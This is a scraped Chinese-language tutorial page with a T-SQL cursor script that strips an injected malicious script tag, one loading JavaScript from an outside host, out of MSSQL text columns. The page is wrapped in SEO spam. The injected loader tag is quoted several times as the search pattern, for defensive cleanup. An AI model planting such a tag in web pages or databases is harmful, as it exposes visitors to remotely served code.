婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 除MSSQL數據庫text字段中惡意腳本的刪方法

除MSSQL數據庫text字段中惡意腳本的刪方法

熱門標簽:長沙智能外呼系統 知名電銷機器人價格 電銷機器人公司 需要哪些牌照 分享百度地圖標注多個位置 菏澤語音電銷機器人加盟公司 湖南電腦外呼系統平臺 外呼系統改進 地圖標注牌 廣東防封卡外呼系統原理是什么
方法很簡單:text字段不能使用Replace,所以使用patindex
復制代碼 代碼如下:

-select * from Product where P_Intro like '%script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js">/script>%'
--text字段的替換處理示例--全表替換
-- select datalength(P_Intro),* from Product
--邀月 整理
--定義替換的字符串
declare @s_str nvarchar(4000),@d_str nvarchar(4000)
select @s_str='script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js">/script>' --要替換的字符串
,@d_str='' --替換成的字符串


--因為只能用patindex,所以對于搜索字符串做處理
set @s_str='%'+@s_str+'%'

--定義游標,循環處理數據
declare @id bigint
declare #tb cursor for select P_ID from Product where P_Intro like '%script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js">/script>%'
-- where P_ID=300727 ----where P_Intro like '%script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js">/script>%'
open #tb
fetch next from #tb into @id
while @@fetch_status=0
begin
--字符串替換處理
declare @p varbinary(16)
,@p1 int,@p2 int
,@rplen int,@step int,@len int

select @p=textptr(P_Intro)
,@rplen=len(@s_str)-2
,@step=len(@d_str)
,@p1=patindex(@s_str,P_Intro)
,@len=datalength(P_Intro)
,@p2=0
from Product
where P_id=@id

while @p1>0
begin
set @p2=@p1+@p2-1
updatetext Product.P_Intro @p @p2 @rplen @d_str
select @p2=@p2+1,@p1=patindex(@s_str,substring(P_Intro,@p2+1,@len))
from Product where P_ID=@id
end
fetch next from #tb into @id
end
close #tb
deallocate #tb

--顯示結果
---- select datalength(P_Intro),* from Product

標簽:西寧 珠海 天水 福建 美容院 呼和浩特 泉州 商洛

巨人網絡通訊聲明:本文標題《除MSSQL數據庫text字段中惡意腳本的刪方法》,本文關鍵詞  除,MSSQL,數據庫,text,字段,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《除MSSQL數據庫text字段中惡意腳本的刪方法》相關的同類信息!
  • 本頁收集關于除MSSQL數據庫text字段中惡意腳本的刪方法的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 温州市| 海盐县| 绩溪县| 武安市| 石狮市| 建瓯市| 龙岩市| 县级市| 黄冈市| 沭阳县| 辉县市| 荆门市| 嘉峪关市| 龙游县| 句容市| 锦屏县| 尼玛县| 中西区| 潮安县| 奇台县| 都兰县| 宁城县| 荔波县| 滦南县| 东宁县| 阿鲁科尔沁旗| 宣化县| 宁阳县| 固阳县| 寻乌县| 宁陵县| 华亭县| 南充市| 合江县| 兰坪| 青神县| 高青县| 沽源县| 且末县| 万安县| 巢湖市|